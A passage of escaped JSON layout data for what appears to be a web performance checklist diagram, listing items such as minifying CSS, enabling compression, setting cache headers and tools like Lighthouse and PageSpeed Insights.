(404)\"}}]}}},{\"ID\":\"15231\",\"typeID\":\"__group__\",\"zOrder\":\"94\",\"measuredW\":\"308\",\"measuredH\":\"28\",\"w\":\"308\",\"h\":\"28\",\"x\":\"303\",\"y\":\"1157\",\"properties\":{\"controlName\":\"use-http-cache-headers\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"308\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Set HTTP cache headers properly\"}}]}}},{\"ID\":\"15233\",\"typeID\":\"__group__\",\"zOrder\":\"96\",\"measuredW\":\"333\",\"measuredH\":\"28\",\"w\":\"333\",\"h\":\"28\",\"x\":\"303\",\"y\":\"1197\",\"properties\":{\"controlName\":\"enable-compression\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"333\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"GZIP / Brotli compression is enabled\"}}]}}},{\"ID\":\"15234\",\"typeID\":\"Label\",\"zOrder\":\"97\",\"measuredW\":\"111\",\"measuredH\":\"28\",\"x\":\"414\",\"y\":\"400\",\"properties\":{\"text\":\"High Priority\",\"size\":\"20\"}},{\"ID\":\"15235\",\"typeID\":\"Arrow\",\"zOrder\":\"98\",\"w\":\"1\",\"h\":\"1583\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"814\",\"y\":\"287\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"p0\":{\"x\":0,\"y\":-0.48484848484849863},\"p1\":{\"x\":0.49999999999999994,\"y\":0},\"p2\":{\"x\":0,\"y\":1582.047272727273},\"color\":\"4273622\"}},{\"ID\":\"15236\",\"typeID\":\"Arrow\",\"zOrder\":\"99\",\"w\":\"630\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"181\",\"y\":\"1296\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0.48416950727948915,\"y\":0},\"p1\":{\"x\":0.4997238005050516,\"y\":0.00038783741855417725},\"p2\":{\"x\":630.4475453407811,\"y\":0}}},{\"ID\":\"15237\",\"typeID\":\"Canvas\",\"zOrder\":\"100\",\"w\":\"202\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"1007\",\"y\":\"387\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"15238\",\"typeID\":\"Label\",\"zOrder\":\"101\",\"measuredW\":\"142\",\"measuredH\":\"28\",\"x\":\"1037\",\"y\":\"398\",\"properties\":{\"size\":\"20\",\"text\":\"Medium Priority\"}},{\"ID\":\"15239\",\"typeID\":\"Canvas\",\"zOrder\":\"102\",\"w\":\"202\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"1007\",\"y\":\"1027\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"15240\",\"typeID\":\"Label\",\"zOrder\":\"103\",\"measuredW\":\"104\",\"measuredH\":\"28\",\"x\":\"1056\",\"y\":\"1038\",\"properties\":{\"size\":\"20\",\"text\":\"Low Priority\"}},{\"ID\":\"15241\",\"typeID\":\"Canvas\",\"zOrder\":\"104\",\"w\":\"242\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"349\",\"y\":\"1270\",\"properties\":{\"color\":\"4273622\",\"borderColor\":\"4273622\"}},{\"ID\":\"15242\",\"typeID\":\"Label\",\"zOrder\":\"105\",\"measuredW\":\"169\",\"measuredH\":\"28\",\"x\":\"385\",\"y\":\"1281\",\"properties\":{\"size\":\"20\",\"text\":\"Performance Tools\",\"color\":\"16777215\"}},{\"ID\":\"15243\",\"typeID\":\"__group__\",\"zOrder\":\"106\",\"measuredW\":\"242\",\"measuredH\":\"44\",\"w\":\"242\",\"h\":\"44\",\"x\":\"349\",\"y\":\"1365\",\"properties\":{\"controlName\":\"page-speed-insights\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"242\",\"h\":\"44\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16770457\"}},{\"ID\":\"1\",\"typeID\":\"Label\",\"zOrder\":\"1\",\"measuredW\":\"155\",\"measuredH\":\"25\",\"x\":\"43\",\"y\":\"9\",\"properties\":{\"size\":\"17\",\"text\":\"PageSpeed Insights\"}}]}}},{\"ID\":\"15244\",\"typeID\":\"__group__\",\"zOrder\":\"107\",\"measuredW\":\"242\",\"measuredH\":\"44\",\"w\":\"242\",\"h\":\"44\",\"x\":\"349\",\"y\":\"1414\",\"properties\":{\"controlName\":\"lighthouse\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"242\",\"h\":\"44\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16770457\"}},{\"ID\":\"1\",\"typeID\":\"Label\",\"zOrder\":\"1\",\"measuredW\":\"86\",\"measuredH\":\"25\",\"x\":\"78\",\"y\":\"9\",\"properties\":{\"size\":\"17\",\"text\":\"Lighthouse\"}}]}}},{\"ID\":\"15245\",\"typeID\":\"__group__\",\"zOrder\":\"108\",\"measuredW\":\"242\",\"measuredH\":\"44\",\"w\":\"242\",\"h\":\"44\",\"x\":\"349\",\"y\":\"1462\",\"properties\":{\"controlName\":\"web-page-test\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"242\",\"h\":\"44\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16770457\"}},{\"ID\":\"1\",\"typeID\":\"Label\",\"zOrder\":\"1\",\"measuredW\":\"106\",\"measuredH\":\"25\",\"x\":\"68\",\"y\":\"9\",\"properties\":{\"size\":\"17\",\"text\":\"WebPageTest\"}}]}}},{\"ID\":\"15246\",\"typeID\":\"__group__\",\"zOrder\":\"109\",\"measuredW\":\"242\",\"measuredH\":\"44\",\"w\":\"242\",\"h\":\"44\",\"x\":\"349\",\"y\":\"1510\",\"properties\":{\"controlName\":\"chrome-dev-tools\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"242\",\"h\":\"44\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16770457\"}},{\"ID\":\"1\",\"typeID\":\"Label\",\"zOrder\":\"1\",\"measuredW\":\"136\",\"measuredH\":\"25\",\"x\":\"53\",\"y\":\"9\",\"properties\":{\"size\":\"17\",\"text\":\"Chrome DevTools\"}}]}}},{\"ID\":\"15247\",\"typeID\":\"__group__\",\"zOrder\":\"110\",\"measuredW\":\"242\",\"measuredH\":\"44\",\"w\":\"242\",\"h\":\"44\",\"x\":\"349\",\"y\":\"1558\",\"properties\":{\"controlName\":\"bundlephobia\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"242\",\"h\":\"44\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16770457\"}},{\"ID\":\"1\",\"typeID\":\"Label\",\"zOrder\":\"1\",\"measuredW\":\"107\",\"measuredH\":\"25\",\"x\":\"67\",\"y\":\"9\",\"properties\":{\"size\":\"17\",\"text\":\"Bundlephobia\"}}]}}},{\"ID\":\"15248\",\"typeID\":\"Canvas\",\"zOrder\":\"111\",\"w\":\"272\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"995\",\"y\":\"1485\",\"properties\":{\"color\":\"4273622\",\"borderColor\":\"4273622\"}},{\"ID\":\"15249\",\"typeID\":\"Label\",\"zOrder\":\"112\",\"measuredW\":\"151\",\"measuredH\":\"28\",\"x\":\"1055\",\"y\":\"1496\",\"properties\":{\"size\":\"20\",\"text\":\"More Resources\",\"color\":\"16777215\"}},{\"ID\":\"15250\",\"typeID\":\"__group__\",\"zOrder\":\"113\",\"measuredW\":\"272\",\"measuredH\":\"44\",\"w\":\"272\",\"h\":\"44\",\"x\":\"995\",\"y\":\"1580\",\"properties\":{\"controlName\":\"framework-guides\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"272\",\"h\":\"44\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16770457\"}},{\"ID\":\"1\",\"typeID\":\"Label\",\"zOrder\":\"1\",\"measuredW\":\"209\",\"measuredH\":\"25\",\"x\":\"31\",\"y\":\"9\",\"properties\":{\"size\":\"17\",\"text\":\"Framework Specific Guides\"}}]}}},{\"ID\":\"15251\",\"typeID\":\"__group__\",\"zOrder\":\"114\",\"measuredW\":\"272\",\"measuredH\":\"44\",\"w\":\"272\",\"h\":\"44\",\"x\":\"995\",\"y\":\"1629\",\"properties\":{\"controlName\":\"recommended-guides\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"272\",\"h\":\"44\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16770457\"}},{\"ID\":\"1\",\"typeID\":\"Label\",\"zOrder\":\"1\",\"measuredW\":\"233\",\"measuredH\":\"25\",\"x\":\"19\",\"y\":\"9\",\"properties\":{\"size\":\"17\",\"text\":\"Recommended Talks / Guides\"}}]}}},{\"ID\":\"15252\",\"typeID\":\"__group__\",\"zOrder\":\"115\",\"measuredW\":\"242\",\"measuredH\":\"44\",\"w\":\"242\",\"h\":\"44\",\"x\":\"349\",\"y\":\"1606\",\"properties\":{\"controlName\":\"squoosh-ap\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"242\",\"h\":\"44\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16770457\"}},{\"ID\":\"1\",\"typeID\":\"Label\",\"zOrder\":\"1\",\"measuredW\":\"100\",\"measuredH\":\"25\",\"x\":\"71\",\"y\":\"9\",\"properties\":{\"size\":\"17\",\"text\":\"Squoosh.app\"}}]}}},{\"ID\":\"15253\",\"typeID\":\"TextArea\",\"zOrder\":\"116\",\"w\":\"438\",\"h\":\"118\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"595\",\"y\":\"1757\"},{\"ID\":\"15254\",\"typeID\":\"Label\",\"zOrder\":\"117\",\"measuredW\":\"366\",\"measuredH\":\"25\",\"x\":\"631\",\"y\":\"1776\",\"properties\":{\"size\":\"17\",\"text\":\"Continue Learning with following relevant tracks\"}},{\"ID\":\"15255\",\"typeID\":\"__group__\",\"zOrder\":\"118\",\"measuredW\":\"198\",\"measuredH\":\"44\",\"w\":\"198\",\"h\":\"44\",\"x\":\"818\",\"y\":\"1813\",\"properties\":{\"controlName\":\"ext_link:roadmap.sh/backend\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"198\",\"h\":\"44\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16770457\"}},{\"ID\":\"1\",\"typeID\":\"Label\",\"zOrder\":\"1\",\"measuredW\":\"147\",\"measuredH\":\"25\",\"x\":\"25\",\"y\":\"9\",\"properties\":{\"size\":\"17\",\"text\":\"Backend Roadmap\"}}]}}},{\"ID\":\"15256\",\"typeID\":\"__group__\",\"zOrder\":\"119\",\"measuredW\":\"198\",\"measuredH\":\"44\",\"w\":\"198\",\"h\":\"44\",\"x\":\"610\",\"y\":\"1813\",\"properties\":{\"controlName\":\"ext_link:roadmap.sh/frontend\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"198\",\"h\":\"44\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16770457\"}},{\"ID\":\"1\",\"typeID\":\"Label\",\"zOrder\":\"1\",\"measuredW\":\"149\",\"measuredH\":\"25\",\"x\":\"24\",\"y\":\"9\",\"properties\":{\"size\":\"17\",\"text\":\"Frontend Roadmap\"}}]}}},{\"ID\":\"15258\",\"typeID\":\"__group__\",\"zOrder\":\"8\",\"measuredW\":\"251\",\"measuredH\":\"28\",\"w\":\"251\",\"h\":\"28\",\"x\":\"301\",\"y\":\"472\",\"properties\":{\"controlName\":\"minimize-iframe-count\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"251\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Minimize number of iframes\"}}]}}},{\"ID\":\"15261\",\"typeID\":\"__group__\",\"zOrder\":\"7\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"255\",\"y\":\"471\",\"properties\":{\"controlName\":\"check:minimize-iframe-count\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15262\",\"typeID\":\"__group__\",\"zOrder\":\"25\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"511\",\"properties\":{\"controlName\":\"check:minify-css\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15263\",\"typeID\":\"__group__\",\"zOrder\":\"29\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"550\",\"properties\":{\"controlName\":\"check:make-css-files-non-blocking\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15264\",\"typeID\":\"__group__\",\"zOrder\":\"33\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"589\",\"properties\":{\"controlName\":\"check:inline-critical-css\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15265\",\"typeID\":\"__group__\",\"zOrder\":\"35\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"629\",\"properties\":{\"controlName\":\"check:avoid-inline-css\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15266\",\"typeID\":\"__group__\",\"zOrder\":\"37\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"668\",\"properties\":{\"controlName\":\"check:analyse-stylesheets-complexity\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15267\",\"typeID\":\"__group__\",\"zOrder\":\"47\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"706\",\"properties\":{\"controlName\":\"check:compress-your-images\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15268\",\"typeID\":\"__group__\",\"zOrder\":\"49\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"746\",\"properties\":{\"controlName\":\"check:choose-image-format-approprietly\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15269\",\"typeID\":\"__group__\",\"zOrder\":\"61\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"787\",\"properties\":{\"controlName\":\"check:minify-your-javascript\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15270\",\"typeID\":\"__group__\",\"zOrder\":\"65\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"826\",\"properties\":{\"controlName\":\"check:use-non-blocking-javascript\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15271\",\"typeID\":\"__group__\",\"zOrder\":\"75\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"870\",\"properties\":{\"controlName\":\"check:use-https-on-your-website\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15272\",\"typeID\":\"__group__\",\"zOrder\":\"77\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"911\",\"properties\":{\"controlName\":\"check:page-weight-below-1500\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15273\",\"typeID\":\"__group__\",\"zOrder\":\"79\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"951\",\"properties\":{\"controlName\":\"check:page-load-time-below-3s\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15274\",\"typeID\":\"__group__\",\"zOrder\":\"81\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"992\",\"properties\":{\"controlName\":\"check:keep-ttfb-less-1-3s\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15275\",\"typeID\":\"__group__\",\"zOrder\":\"87\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"1035\",\"properties\":{\"controlName\":\"check:minimize-http-requests\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15276\",\"typeID\":\"__group__\",\"zOrder\":\"89\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"1075\",\"properties\":{\"controlName\":\"check:use-same-protocol\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15277\",\"typeID\":\"__group__\",\"zOrder\":\"91\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"1115\",\"properties\":{\"controlName\":\"check:avoid-404-files\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15278\",\"typeID\":\"__group__\",\"zOrder\":\"93\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"1156\",\"properties\":{\"controlName\":\"check:use-http-cache-headers\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15279\",\"typeID\":\"__group__\",\"zOrder\":\"95\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"255\",\"y\":\"1196\",\"properties\":{\"controlName\":\"check:enable-compression\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15280\",\"typeID\":\"__group__\",\"zOrder\":\"19\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"859\",\"y\":\"471\",\"properties\":{\"controlName\":\"check:minify-html\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15282\",\"typeID\":\"__group__\",\"zOrder\":\"21\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"859\",\"y\":\"510\",\"properties\":{\"controlName\":\"check:use-cdn\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15283\",\"typeID\":\"__group__\",\"zOrder\":\"51\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"859\",\"y\":\"550\",\"properties\":{\"controlName\":\"check:prefer-vector-images\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15284\",\"typeID\":\"__group__\",\"zOrder\":\"53\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"859\",\"y\":\"590\",\"properties\":{\"controlName\":\"check:set-width-height-images\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15285\",\"typeID\":\"__group__\",\"zOrder\":\"55\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"859\",\"y\":\"630\",\"properties\":{\"controlName\":\"check:avoid-base64-images\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15286\",\"typeID\":\"__group__\",\"zOrder\":\"57\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"859\",\"y\":\"670\",\"properties\":{\"controlName\":\"check:load-offscreen-images-lazily\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15287\",\"typeID\":\"__group__\",\"zOrder\":\"59\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"859\",\"y\":\"710\",\"properties\":{\"controlName\":\"check:serve-exact-size-images\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15288\",\"typeID\":\"__group__\",\"zOrder\":\"63\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"859\",\"y\":\"750\",\"properties\":{\"controlName\":\"check:avoid-multiple-inline-js-snippets\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15289\",\"typeID\":\"__group__\",\"zOrder\":\"67\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"859\",\"y\":\"791\",\"properties\":{\"controlName\":\"check:keep-dependencies-up-to-date\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15290\",\"typeID\":\"__group__\",\"zOrder\":\"71\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"859\",\"y\":\"834\",\"properties\":{\"controlName\":\"check:analyze-js-for-perf-issues\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15291\",\"typeID\":\"__group__\",\"zOrder\":\"73\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"859\",\"y\":\"875\",\"properties\":{\"controlName\":\"check:use-service-workers-for-caching\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15292\",\"typeID\":\"__group__\",\"zOrder\":\"83\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"859\",\"y\":\"916\",\"properties\":{\"controlName\":\"check:cookie-size-less-4096-bytes\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w